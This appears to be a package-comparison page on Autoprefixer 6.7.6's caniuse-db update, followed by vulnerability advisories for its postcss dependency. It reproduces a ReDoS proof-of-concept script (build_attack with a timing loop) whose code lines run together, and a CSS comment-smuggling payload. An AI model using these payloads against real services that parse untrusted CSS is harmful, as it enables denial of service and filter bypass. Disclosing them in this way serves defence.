Autoprefixer's jump from version 6.7.5 to 6.7.6 introduces subtle yet crucial updates, primarily focused on enhancing compatibility and staying current with browser support. Both versions share a core function: parsing CSS and automatically adding vendor prefixes to ensure cross-browser compatibility, leveraging data from the "Can I Use" website. This functionality remains consistent, providing developers with a reliable tool to streamline their CSS workflow.
However, the key difference lies in the updated caniuse-db dependency. Version 6.7.6 upgrades this dependency from ^1.0.30000624 to ^1.0.30000628. While seemingly minor, this signifies an update to the underlying browser compatibility data. This update means that Autoprefixer 6.7.6 is aware of the latest browser implementations and prefix requirements. If you're targeting cutting-edge CSS features, upgrading to 6.7.6 ensures your styles receive the necessary prefixes for modern browsers. For projects already using Autoprefixer 6.7.5, the update to 6.7.6 is advisable to maintain accuracy and ensure optimal compatibility with emerging web technologies, and support for new browser versions. Core dependencies like postcss, browserslist, and utility libraries remain untouched, providing a seamless transition and minimal disruption to existing workflows. Finally, the releases were just one week apart, so the update should be relatively non-breaking.
All the vulnerabilities related to the version 6.7.6 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.